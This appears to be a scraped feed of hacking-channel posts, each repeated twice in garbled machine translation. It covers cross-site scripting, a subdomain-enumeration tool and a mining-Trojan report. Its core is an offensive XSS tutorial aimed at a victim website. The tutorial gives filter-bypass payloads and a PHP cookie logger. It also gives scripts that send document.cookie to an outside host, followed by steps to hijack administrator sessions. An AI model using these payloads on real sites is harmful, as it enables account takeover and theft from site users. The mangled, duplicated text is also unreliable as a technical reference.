β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦XSS tutorial, a complete method of cross-site scripting by undercode :
instagram.com/UndercodeTesting
π¦ππΌπ'π πππΈβπ :
1) Detection for XSS ***:
First, you must check if the website is vulnerable to an XSS
injection.
2) To do this, find a text input field on the Ξ½ictim website. You enter text that must be displayed somewhere on the website. Some common XSS injection locations are your user name, signature, or member profile, a post or a forum topic, or search online, reflecting the contact information for your search ("your text search").
3) Once you find a website that meets the above requirements, you can enter a test injection location. <script> alert (1) </ script> Enter into the text field and submit the form. It should return an alert (popup) with the number
> Remember to try in multiple browsers, some like Google Chrome will not be affected, all XSS injections may not be able to create an alert.
4) Screening for tax evasion
, sometimes you Ξ½ictims will try to prevent the input filter implemented by XSS injection. are a few options :
A) If it returns a blank / empty reflection or "invalid input" error, then the site is most likely to block the keywords <script> and </ SCRIPT>. You can bypass this filter if you change the script tag at all. For example, <SCRIPT> alert (1) </ SCRIPT> or <ScripT> alert (1) </ ScripT>
B) If it returns your script with surrounding quotes ("<script> alert (1) </ script>"), then you can try to close the script before starting the quotes. You can do this by adding "Previous Script>. For example,"> <script> alert (1) </ alert>. The negative factor of the quote is because when the script placed around the script is converted to plain text, and its function is not allowed.
C) If there is no <script> tag (only alert (1)) to return your script, then it is just to delete the tag, not to consider the entire input to be invalid. To bypass this just add another tag around the <script> tag. For example, <sc <script> ript> alert (1) </ sc </ script> ript>. The filter will automatically delete the tag to overwrite your input, so only <script> alert (1) </ script> will remain.
D) If the site does not allow you to post script tags at all, remind you that you can try hexadecimal encoding to your script. You can convert to hexadecimal by using XLATE or any other free ASCII. Once the hex version of your script, you can enter it like the ASCII version of the script you made, and it will all have the same result.
π¦ MaxLength limit:
In many cases, the input field will have a character that can be entered, and your script will sometimes exceed this limit, the amount limit. There are a few methods you can use to bypass this:
Method 1: On some websites, you will be able to increase the maximum characters allowed. To change the MaxLength, perform the following steps:
1. Right-click the input field
2. Click "Check Elements"
3. Find the line holding <input id = "query" type = "text" maxlength = "10" size = "13" name = "search_term"> increased number of maxlength =
"4. Submit the form. If it returns an error , Indicating that the information entered in the form is wrong, then the website is not susceptible to this.
π¦XSS tutorial, a complete method of cross-site scripting by undercode :
instagram.com/UndercodeTesting
π¦ππΌπ'π πππΈβπ :
1) Detection for XSS ***:
First, you must check if the website is vulnerable to an XSS
injection.
2) To do this, find a text input field on the Ξ½ictim website. You enter text that must be displayed somewhere on the website. Some common XSS injection locations are your user name, signature, or member profile, a post or a forum topic, or search online, reflecting the contact information for your search ("your text search").
3) Once you find a website that meets the above requirements, you can enter a test injection location. <script> alert (1) </ script> Enter into the text field and submit the form. It should return an alert (popup) with the number
> Remember to try in multiple browsers, some like Google Chrome will not be affected, all XSS injections may not be able to create an alert.
4) Screening for tax evasion
, sometimes you Ξ½ictims will try to prevent the input filter implemented by XSS injection. are a few options :
A) If it returns a blank / empty reflection or "invalid input" error, then the site is most likely to block the keywords <script> and </ SCRIPT>. You can bypass this filter if you change the script tag at all. For example, <SCRIPT> alert (1) </ SCRIPT> or <ScripT> alert (1) </ ScripT>
B) If it returns your script with surrounding quotes ("<script> alert (1) </ script>"), then you can try to close the script before starting the quotes. You can do this by adding "Previous Script>. For example,"> <script> alert (1) </ alert>. The negative factor of the quote is because when the script placed around the script is converted to plain text, and its function is not allowed.
C) If there is no <script> tag (only alert (1)) to return your script, then it is just to delete the tag, not to consider the entire input to be invalid. To bypass this just add another tag around the <script> tag. For example, <sc <script> ript> alert (1) </ sc </ script> ript>. The filter will automatically delete the tag to overwrite your input, so only <script> alert (1) </ script> will remain.
D) If the site does not allow you to post script tags at all, remind you that you can try hexadecimal encoding to your script. You can convert to hexadecimal by using XLATE or any other free ASCII. Once the hex version of your script, you can enter it like the ASCII version of the script you made, and it will all have the same result.
π¦ MaxLength limit:
In many cases, the input field will have a character that can be entered, and your script will sometimes exceed this limit, the amount limit. There are a few methods you can use to bypass this:
Method 1: On some websites, you will be able to increase the maximum characters allowed. To change the MaxLength, perform the following steps:
1. Right-click the input field
2. Click "Check Elements"
3. Find the line holding <input id = "query" type = "text" maxlength = "10" size = "13" name = "search_term"> increased number of maxlength =
"4. Submit the form. If it returns an error , Indicating that the information entered in the form is wrong, then the website is not susceptible to this.
π¦Method 2: XSS
> Upload the script to your server and enter it as the source. There are two ways to do this:
1. <img src = 'http: //baidu.com/YourScript.js'> </ IMG>
2. <script src = 'http: //baidu.com/YourScript.js'> </ SCRIPT>
4. *** Media:
There are two main types of XSS vulnerabilities, reflection and persistence. Reflect XSS is an input field that you fill in like a search bar, an email subscription field, or nothing will stay on the site permanently and will disappear as soon as you leave the page. These all need the effect with the help of social engineering. A persistent XSS vulnerability is used in fields such as comment, public profile information, or anything else, will stay on site and show the location on the site to others.
If you find a persistent XSS on the site, you will be able to run any script you want, including the ability to deface certain pages (I think most of you read what you
want if you find a reflective XSS). You can run scripts on websites like stealing cookies and CSRF, but it requires some social engineering. I think very useful cookie theft will explain why it is further in this tutorial, but I will also show you how to deface a website through a persistent XSS vulnerability.
> Upload the script to your server and enter it as the source. There are two ways to do this:
1. <img src = 'http: //baidu.com/YourScript.js'> </ IMG>
2. <script src = 'http: //baidu.com/YourScript.js'> </ SCRIPT>
4. *** Media:
There are two main types of XSS vulnerabilities, reflection and persistence. Reflect XSS is an input field that you fill in like a search bar, an email subscription field, or nothing will stay on the site permanently and will disappear as soon as you leave the page. These all need the effect with the help of social engineering. A persistent XSS vulnerability is used in fields such as comment, public profile information, or anything else, will stay on site and show the location on the site to others.
If you find a persistent XSS on the site, you will be able to run any script you want, including the ability to deface certain pages (I think most of you read what you
want if you find a reflective XSS). You can run scripts on websites like stealing cookies and CSRF, but it requires some social engineering. I think very useful cookie theft will explain why it is further in this tutorial, but I will also show you how to deface a website through a persistent XSS vulnerability.
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦HOW Theft of cookies ?
t.me/UndercodeTesting
1) Find the weak XSSI location on the website. Will we use Site.com/search.word? = (The script is here).
2) Your cookie is uploaded to the web server. You can use a paid web hosting like Go Daddy and hosting GATOR or similar free one
3) Open Notepad and paste the following:
PHP code:
<? php
$ cookie = $ _GET ['cookie'];
$ log = fopen ("log.txt", "a");
fwrite ($ log, $ cookie. "\ n");
fclose ($ log);
?>
It is saved as logger.php.
4) Upload logger.php to the root folder of the web server.
5) Add to the root folder, and a file named log.txt.
6) Add the following script to your XSS injection URL (replace baidu.com/logger.php with your website / logger.php).
Postcode: <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie; </ SCRIPT>
If you want this to be less obvious, then you can use another script to redirect them back to the ictim website after they visit your cookie recorder:
Postcode: <script language = "JavaScript"> document.location = "http://baidu.com/logger.php?cookie =" + document.cookie; document.location = "http://www.Site.com" </ SCRIPT>
7) Send the target XSS injected link. For example, we will baidu.com / search.word = <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie ;? </ SCRIPT>. If you don't want your target to see the script, you can go to hexadecimal encoding, just like scenario 4 for filtering tax evasion. Coded scripts only (Site.com/search.word after everything? =).
8) You have successfully recorded their cookies! Site.com sends them to your logger and you now have your own site.com cookies. Now, collect their PHPSESSID or any other session ID cookie you logged in.
9) Download the additional "Edit this cookie" Google Chrome and Mozilla Firefox.
10) Go edit this cookie and replace the session ID with them. Now click on "Submit Cookie Changes". Now you should record the management / target account. Now you can do anything that does not require you to enter your own password, delete a thread from a post or send a private message (if you are an administrator account), maybe deface the website, or ban members.
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦HOW Theft of cookies ?
t.me/UndercodeTesting
1) Find the weak XSSI location on the website. Will we use Site.com/search.word? = (The script is here).
2) Your cookie is uploaded to the web server. You can use a paid web hosting like Go Daddy and hosting GATOR or similar free one
3) Open Notepad and paste the following:
PHP code:
<? php
$ cookie = $ _GET ['cookie'];
$ log = fopen ("log.txt", "a");
fwrite ($ log, $ cookie. "\ n");
fclose ($ log);
?>
It is saved as logger.php.
4) Upload logger.php to the root folder of the web server.
5) Add to the root folder, and a file named log.txt.
6) Add the following script to your XSS injection URL (replace baidu.com/logger.php with your website / logger.php).
Postcode: <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie; </ SCRIPT>
If you want this to be less obvious, then you can use another script to redirect them back to the ictim website after they visit your cookie recorder:
Postcode: <script language = "JavaScript"> document.location = "http://baidu.com/logger.php?cookie =" + document.cookie; document.location = "http://www.Site.com" </ SCRIPT>
7) Send the target XSS injected link. For example, we will baidu.com / search.word = <SCRIPT> document.location = "http://www.baidu.com/logger.php?cookie =" + document.cookie ;? </ SCRIPT>. If you don't want your target to see the script, you can go to hexadecimal encoding, just like scenario 4 for filtering tax evasion. Coded scripts only (Site.com/search.word after everything? =).
8) You have successfully recorded their cookies! Site.com sends them to your logger and you now have your own site.com cookies. Now, collect their PHPSESSID or any other session ID cookie you logged in.
9) Download the additional "Edit this cookie" Google Chrome and Mozilla Firefox.
10) Go edit this cookie and replace the session ID with them. Now click on "Submit Cookie Changes". Now you should record the management / target account. Now you can do anything that does not require you to enter your own password, delete a thread from a post or send a private message (if you are an administrator account), maybe deface the website, or ban members.
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦XSS cross-site scripting vulnerability
T.me/UndercodeTesting
> Since XSS Cross-Site Scripting (XSS) was born in 1996, it has experienced more than ten years of evolution. Because it is the same as the abbreviation of another web technology-Cascading Style Sheets (CSS), in order to prevent confusion, the original CSS is abbreviated as XSS.
π¦ Cross-site scripting attacks are a common web security vulnerability. The biggest feature of XSS is that it can inject malicious HTML / JavaScript code into the webpages browsed by users, which is caused by the insufficient filtering of user input by WEB applications. When users browse these When the web page, it will execute malicious code. Since HTML code and client-side JavaScript script can be executed arbitrarily in the browser on the victim's host, this is equivalent to completely controlling the logic of the WEB client. On this basis, hackers can easily initiate cookie theft, session hijacking, phishing spoofing, etc. Various attacks.
> XSS is very similar to CSRF, and it is easy to confuse. XSS uses trusted users in the site, and CSRF uses trusted websites by disguising requests from trusted users. The biggest difference between CSRF and XSS is that CSRF is not stolen. Take cookies but use them directly. XSS is to obtain information without knowing the codes and data packages of other user pages in advance. CSRF is to replace the user to complete the specified action, you need to know the code and data package of other user pages.
π¦ Attack process:
1) Some commonly used scripts
Use XSS bullet warning box:
<script> alert (' xss' ) </ script>
2) Get cookie value:
<script> alert ( document.cookie ) </ script>
3) Embed in other websites:
<iframe src = http: //siteexample.com width = 0 height = 0> </ iframe>
4) The XSS input may also be an HTML code segment, such as making the webpage refresh constantly:
<meta http- equiv = "refresh" content = "0;">
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦XSS cross-site scripting vulnerability
T.me/UndercodeTesting
> Since XSS Cross-Site Scripting (XSS) was born in 1996, it has experienced more than ten years of evolution. Because it is the same as the abbreviation of another web technology-Cascading Style Sheets (CSS), in order to prevent confusion, the original CSS is abbreviated as XSS.
π¦ Cross-site scripting attacks are a common web security vulnerability. The biggest feature of XSS is that it can inject malicious HTML / JavaScript code into the webpages browsed by users, which is caused by the insufficient filtering of user input by WEB applications. When users browse these When the web page, it will execute malicious code. Since HTML code and client-side JavaScript script can be executed arbitrarily in the browser on the victim's host, this is equivalent to completely controlling the logic of the WEB client. On this basis, hackers can easily initiate cookie theft, session hijacking, phishing spoofing, etc. Various attacks.
> XSS is very similar to CSRF, and it is easy to confuse. XSS uses trusted users in the site, and CSRF uses trusted websites by disguising requests from trusted users. The biggest difference between CSRF and XSS is that CSRF is not stolen. Take cookies but use them directly. XSS is to obtain information without knowing the codes and data packages of other user pages in advance. CSRF is to replace the user to complete the specified action, you need to know the code and data package of other user pages.
π¦ Attack process:
1) Some commonly used scripts
Use XSS bullet warning box:
<script> alert (' xss' ) </ script>
2) Get cookie value:
<script> alert ( document.cookie ) </ script>
3) Embed in other websites:
<iframe src = http: //siteexample.com width = 0 height = 0> </ iframe>
4) The XSS input may also be an HTML code segment, such as making the webpage refresh constantly:
<meta http- equiv = "refresh" content = "0;">
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦classification:
1) Reflective XSS
Reflective XSS, also known as non-persistent XSS , is the most vulnerable XSS vulnerability. When a user accesses a URL request with XSS code , the server receives the data and processes it, and then sends the data with XSS code to the browser. After the browser parses the data with XSS code, the XSS vulnerability is eventually caused. .
2)Attack process: The user visited a dangerous website, and the server background responded to the execution statement of the page and responded to the browser, but the server background did not execute malicious code, but the browser executed malicious code. In this way, sensitive information such as cookies saved on the local browser may be stolen. The server acts as a springboard for reflection to launch an attack on the user's browser.
3) Phenomenon: The content entered by the user on the page will be displayed on the browser after the server responds; for example: you enter a user name haha, and a hello appears on the page after login! haha, this means that the local browser is performing your input, not the backend server.
4) test:
This is a reflective XSS page. You can see that we enter haha ββhere, and the page will also echo the word haha. Generally, such scenes are prone to XSS vulnerabilities.
π¦classification:
1) Reflective XSS
Reflective XSS, also known as non-persistent XSS , is the most vulnerable XSS vulnerability. When a user accesses a URL request with XSS code , the server receives the data and processes it, and then sends the data with XSS code to the browser. After the browser parses the data with XSS code, the XSS vulnerability is eventually caused. .
2)Attack process: The user visited a dangerous website, and the server background responded to the execution statement of the page and responded to the browser, but the server background did not execute malicious code, but the browser executed malicious code. In this way, sensitive information such as cookies saved on the local browser may be stolen. The server acts as a springboard for reflection to launch an attack on the user's browser.
3) Phenomenon: The content entered by the user on the page will be displayed on the browser after the server responds; for example: you enter a user name haha, and a hello appears on the page after login! haha, this means that the local browser is performing your input, not the backend server.
4) test:
This is a reflective XSS page. You can see that we enter haha ββhere, and the page will also echo the word haha. Generally, such scenes are prone to XSS vulnerabilities.
π¦ When the browser's cookie value pops up, there is no privacy at all. If the account password is included in the cookie, the consequences will be disastrous. The attacker disguised the link, and then perfected the malicious script to steal the user's cookie value without knowing it.
If there is an XSS reflective cross-site vulnerability at http://test.com/xss1.php , the attacker's steps may be as follows:
1) test1 is a user of the website test.com and is currently logged in.
2) The attacker discovers that http://test.com/xss1.php has an XSS reflective cross-site vulnerability, and then carefully constructs JavaScript code, which can steal user cookies.
3) The attacker sends the URL with the reflective XSS vulnerability to the user test1 through the information in the station, and uses various inducement methods to allow the user test1 to open the link.
5) If user test1 opens a URL with XSS vulnerability, then his cookie will be sent to the attacker.
6)After receiving the session cookie of user test1, the attacker can directly use the cookie to log in to test.com as test1.
The above steps, through the use of reflective XSS vulnerabilities, can log in to the website as test1, which is its harm.
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
If there is an XSS reflective cross-site vulnerability at http://test.com/xss1.php , the attacker's steps may be as follows:
1) test1 is a user of the website test.com and is currently logged in.
2) The attacker discovers that http://test.com/xss1.php has an XSS reflective cross-site vulnerability, and then carefully constructs JavaScript code, which can steal user cookies.
3) The attacker sends the URL with the reflective XSS vulnerability to the user test1 through the information in the station, and uses various inducement methods to allow the user test1 to open the link.
5) If user test1 opens a URL with XSS vulnerability, then his cookie will be sent to the attacker.
6)After receiving the session cookie of user test1, the attacker can directly use the cookie to log in to test.com as test1.
The above steps, through the use of reflective XSS vulnerabilities, can log in to the website as test1, which is its harm.
written by undercode
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ Storage XSS ATTACK :
t.me/UndercodeTesting
π¦ ππΌπ'π πππΈβπ :
1) Storage XSS is also known as persistent XSS. Storage XSS is the most dangerous type of cross-site scripting. Web applications that allow users to store data may have storage XSS vulnerabilities. When an attacker submits a piece of XSS code, it is received and stored by the server. When the page is accessed again, this piece of XSS code is read by the program to respond to the browser Device, causing XSS cross-site attacks, this is the storage XSS.
2) The scenes of storage XSS are generally message boards, post bars, forums, etc., we take the message board as an example;
process
a) Insert message => store content in database
b)View message => content is extracted from the database
c)Content is displayed on the page
d)If the input is a malicious script, every time someone checks the message, it will be pushed to the front end by the server and then executed by the browser, so the general storage XSS is more harmful.
> Note : When testing whether XSS exists, we must first determine the input point and output point. For example: if we want to test the XSS vulnerability on the message content , we must first find whether the output (display) of the message content is within the tag or tag attribute inside , or elsewhere, if the output data in the property, then XSS is not executed, then we need to judge closed the property in advance the contents of the closure, submitting malicious scripts.
π¦test:
This is a message board where we can enter some malicious scripts
π¦ Storage XSS ATTACK :
t.me/UndercodeTesting
π¦ ππΌπ'π πππΈβπ :
1) Storage XSS is also known as persistent XSS. Storage XSS is the most dangerous type of cross-site scripting. Web applications that allow users to store data may have storage XSS vulnerabilities. When an attacker submits a piece of XSS code, it is received and stored by the server. When the page is accessed again, this piece of XSS code is read by the program to respond to the browser Device, causing XSS cross-site attacks, this is the storage XSS.
2) The scenes of storage XSS are generally message boards, post bars, forums, etc., we take the message board as an example;
process
a) Insert message => store content in database
b)View message => content is extracted from the database
c)Content is displayed on the page
d)If the input is a malicious script, every time someone checks the message, it will be pushed to the front end by the server and then executed by the browser, so the general storage XSS is more harmful.
> Note : When testing whether XSS exists, we must first determine the input point and output point. For example: if we want to test the XSS vulnerability on the message content , we must first find whether the output (display) of the message content is within the tag or tag attribute inside , or elsewhere, if the output data in the property, then XSS is not executed, then we need to judge closed the property in advance the contents of the closure, submitting malicious scripts.
π¦test:
This is a message board where we can enter some malicious scripts
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ DOM XSS
A) WHAT IS DOM XSS ?
> The full name of DOM is Document Object Model , which is the document object model. DOM is usually used to represent objects in HTML , XHTML and XML . Using DOM allows programs and scripts to dynamically access and update the content, structure, and style of documents.
> The entire HTML page can be reconstructed through JavaScript , and to reconstruct a page or an object in the page, JavaScript needs to know the "position" of all elements in the HTML document. The DOM provides a structured representation of the document and defines how to access the document structure through scripts. According to DOM regulations, each component in an HTML document is a node.
π¦ The DOM regulations are as follows:
> The entire document is a document node
> Each HTML tag is an element node
>The text contained in the HTML element is a text node
>Each HTML attribute is an attribute node
> There is a hierarchical relationship between nodes
1) Traditional types of XSS vulnerabilities (reflective or storage) generally appear in server-side code, and DOM XSS is a vulnerability based on the DOM document object model, so it is affected by the script code of the client browser. DOM XSS depends on the output location and does not depend on the output environment, so it can also be said that DOM XSS may be either reflective or storage, and it is simple to understand because its output point is in DOM .
π¦We can look at this script:
<?php
error_reporting(0);
$name = $_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value;
</script>
We can see that this string of scripts submits the value of a name through GET. Our input input is in the value attribute. If we still enter the script as before, it will not be executed. Then we need to change our thinking .
<input id = "text" type = "text" value = "<script> alert (' xss ') </ script>" />
Close the input tag so that he is not in the value attribute. "/> After closing
<input id = "text" type = "text" value = "" /> <script> alert ('xss ') </ script> "/>
π¦We can see that this string of scripts submits the value of a name through GET. Our input input is in the value attribute. If we still enter the script as before, it will not be executed. Then we need to change our thinking .
<input id = "text" type = "text" value = "<script> alert (' xss ') </ script>" />
Close the input tag so that he is not in the value attribute. "/> After closing
<input id = "text" type = "text" value = "" /> <script> alert ('xss ') </ script> "/>
WRITTEN BY UNDERCODERS
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ DOM XSS
A) WHAT IS DOM XSS ?
> The full name of DOM is Document Object Model , which is the document object model. DOM is usually used to represent objects in HTML , XHTML and XML . Using DOM allows programs and scripts to dynamically access and update the content, structure, and style of documents.
> The entire HTML page can be reconstructed through JavaScript , and to reconstruct a page or an object in the page, JavaScript needs to know the "position" of all elements in the HTML document. The DOM provides a structured representation of the document and defines how to access the document structure through scripts. According to DOM regulations, each component in an HTML document is a node.
π¦ The DOM regulations are as follows:
> The entire document is a document node
> Each HTML tag is an element node
>The text contained in the HTML element is a text node
>Each HTML attribute is an attribute node
> There is a hierarchical relationship between nodes
1) Traditional types of XSS vulnerabilities (reflective or storage) generally appear in server-side code, and DOM XSS is a vulnerability based on the DOM document object model, so it is affected by the script code of the client browser. DOM XSS depends on the output location and does not depend on the output environment, so it can also be said that DOM XSS may be either reflective or storage, and it is simple to understand because its output point is in DOM .
π¦We can look at this script:
<?php
error_reporting(0);
$name = $_GET["name"];
?>
<input id="text" type="text" value="<?php echo $name;?>" />
<div id="print"></div>
<script type="text/javascript">
var text = document.getElementById("text");
var print = document.getElementById("print");
print.innerHTML = text.value;
</script>
We can see that this string of scripts submits the value of a name through GET. Our input input is in the value attribute. If we still enter the script as before, it will not be executed. Then we need to change our thinking .
<input id = "text" type = "text" value = "<script> alert (' xss ') </ script>" />
Close the input tag so that he is not in the value attribute. "/> After closing
<input id = "text" type = "text" value = "" /> <script> alert ('xss ') </ script> "/>
π¦We can see that this string of scripts submits the value of a name through GET. Our input input is in the value attribute. If we still enter the script as before, it will not be executed. Then we need to change our thinking .
<input id = "text" type = "text" value = "<script> alert (' xss ') </ script>" />
Close the input tag so that he is not in the value attribute. "/> After closing
<input id = "text" type = "text" value = "" /> <script> alert ('xss ') </ script> "/>
WRITTEN BY UNDERCODERS
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Fast subdomains enumeration tool for penetration testers
t.me/UndercodeTesting
π¦πβπππΈπππππΈπππβ & βπβ :
1) git clone git clone https://github.com/aboul3la/Sublist3r.git
2) cd Sublist3r
3) Installation on Windows:
> c:\python27\python.exe -m pip install -r requirements.txt
Installation on Linux
> sudo pip install -r requirements.txt
Install for Windows:
> c:\python27\python.exe -m pip install requests
Install for Ubuntu/Debian:
> sudo apt-get install python-requests
Install for Centos/Redhat:
> sudo yum install python-requests
Install using pip on Linux :
> sudo pip install requests
π¦argparse Module
Install for Ubuntu/Debian:
> sudo apt-get install python-argparse
> Install for Centos/Redhat:
sudo yum install python-argparse
> Install using pip:
sudo pip install argparse
for coloring in windows install the following libraries
c:\python27\python.exe -m pip install win_unicode_console colorama
π¦Short Form Long Form Description
-d --domain Domain name to enumerate subdomains of
-b --bruteforce Enable the subbrute bruteforce module
-p --ports Scan the found subdomains against specific tcp ports
-v --verbose Enable the verbose mode and display results in realtime
-t --threads Number of threads to use for subbrute bruteforce
-e --engines Specify a comma-separated list of search engines
-o --output Save the results to text file
-h --help show the help message and exit
@UndercodeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Fast subdomains enumeration tool for penetration testers
t.me/UndercodeTesting
π¦πβπππΈπππππΈπππβ & βπβ :
1) git clone git clone https://github.com/aboul3la/Sublist3r.git
2) cd Sublist3r
3) Installation on Windows:
> c:\python27\python.exe -m pip install -r requirements.txt
Installation on Linux
> sudo pip install -r requirements.txt
Install for Windows:
> c:\python27\python.exe -m pip install requests
Install for Ubuntu/Debian:
> sudo apt-get install python-requests
Install for Centos/Redhat:
> sudo yum install python-requests
Install using pip on Linux :
> sudo pip install requests
π¦argparse Module
Install for Ubuntu/Debian:
> sudo apt-get install python-argparse
> Install for Centos/Redhat:
sudo yum install python-argparse
> Install using pip:
sudo pip install argparse
for coloring in windows install the following libraries
c:\python27\python.exe -m pip install win_unicode_console colorama
π¦Short Form Long Form Description
-d --domain Domain name to enumerate subdomains of
-b --bruteforce Enable the subbrute bruteforce module
-p --ports Scan the found subdomains against specific tcp ports
-v --verbose Enable the verbose mode and display results in realtime
-t --threads Number of threads to use for subbrute bruteforce
-e --engines Specify a comma-separated list of search engines
-o --output Save the results to text file
-h --help show the help message and exit
@UndercodeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Dangerous Vuln since few days :
"8220" mining Trojans invade the server to mine, set up a "tsunami" botnet, ready to launch DDoS attacks
twitter.com/undercodeNews
π¦ππΌπ'π πππΈβπ :
> Tencent Security Threat Intelligence Center detected the "8220" mining Trojan variant attack. The "8220" mining gang is good at exploiting WebLogic, JBoss deserialization vulnerabilities, Redis, Hadoop unauthorized access vulnerabilities and other web vulnerabilities to attack server mining. Recently, we found that the gang Trojans spreading through Apache Struts remote code execution vulnerability (CVE-2017-5638) and Tomcat weak password blasting in the attack activities have increased significantly.
> In the horizontal movement stage, the Trojan will use the Redis unauthorized vulnerability access vulnerability implemented by Python to scan about 160,000 randomly generated IPs, and use the implanted shell script hehe.sh to continue to use the machine with the public key authentication record to establish The SSH connection spreads on the intranet, and eventually a variety of Monero mining trojans and Tsunami botnet Trojans are implanted in the trapped machine. The latter is used by the gang to conduct DDoS attacks.
> The attack targets of the "8220" mining Trojan gang include Windows and Linux servers. On the FTP servers it uses, attack modules targeting different operating systems can be found. When the gang releases the mining trojan, it will check whether there are other mining trojans running on the server, and end all competing mining trojans to monopolize server resources.
> According to the similarity of codes, C2 correlation, the same Monero wallet used in mining, decryption method of configuration files, and similar FTP servers, Tencent security experts believe that the StartMiner that appeared in early 2020 is the same as the "8220" mining Trojan Gang. The gang's current version of the malicious program communicates with the C2 server no longer uses the "8220" port. According to the recently captured samples, it summarizes the file names used in its attack preferences and finds that it has a variety of scripts including VBS, PHP, Python , Powershell, Shell features combined attacks.
@UndercodeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦Dangerous Vuln since few days :
"8220" mining Trojans invade the server to mine, set up a "tsunami" botnet, ready to launch DDoS attacks
twitter.com/undercodeNews
π¦ππΌπ'π πππΈβπ :
> Tencent Security Threat Intelligence Center detected the "8220" mining Trojan variant attack. The "8220" mining gang is good at exploiting WebLogic, JBoss deserialization vulnerabilities, Redis, Hadoop unauthorized access vulnerabilities and other web vulnerabilities to attack server mining. Recently, we found that the gang Trojans spreading through Apache Struts remote code execution vulnerability (CVE-2017-5638) and Tomcat weak password blasting in the attack activities have increased significantly.
> In the horizontal movement stage, the Trojan will use the Redis unauthorized vulnerability access vulnerability implemented by Python to scan about 160,000 randomly generated IPs, and use the implanted shell script hehe.sh to continue to use the machine with the public key authentication record to establish The SSH connection spreads on the intranet, and eventually a variety of Monero mining trojans and Tsunami botnet Trojans are implanted in the trapped machine. The latter is used by the gang to conduct DDoS attacks.
> The attack targets of the "8220" mining Trojan gang include Windows and Linux servers. On the FTP servers it uses, attack modules targeting different operating systems can be found. When the gang releases the mining trojan, it will check whether there are other mining trojans running on the server, and end all competing mining trojans to monopolize server resources.
> According to the similarity of codes, C2 correlation, the same Monero wallet used in mining, decryption method of configuration files, and similar FTP servers, Tencent security experts believe that the StartMiner that appeared in early 2020 is the same as the "8220" mining Trojan Gang. The gang's current version of the malicious program communicates with the C2 server no longer uses the "8220" port. According to the recently captured samples, it summarizes the file names used in its attack preferences and finds that it has a variety of scripts including VBS, PHP, Python , Powershell, Shell features combined attacks.
@UndercodeOfficial
β β β ο½ππ»βΊπ«Δπ¬πβ β β β
Twitter
UNDERCODE NEWS (@UndercodeNews) | Twitter
The latest Tweets from UNDERCODE NEWS (@UndercodeNews). We provides you daily hacking News & Security Warning & Technologies news & Bugs reports & Analysis... @UndercodeNews @UndercodeUpdate @iUndercode @DailyCve. Aus/Leb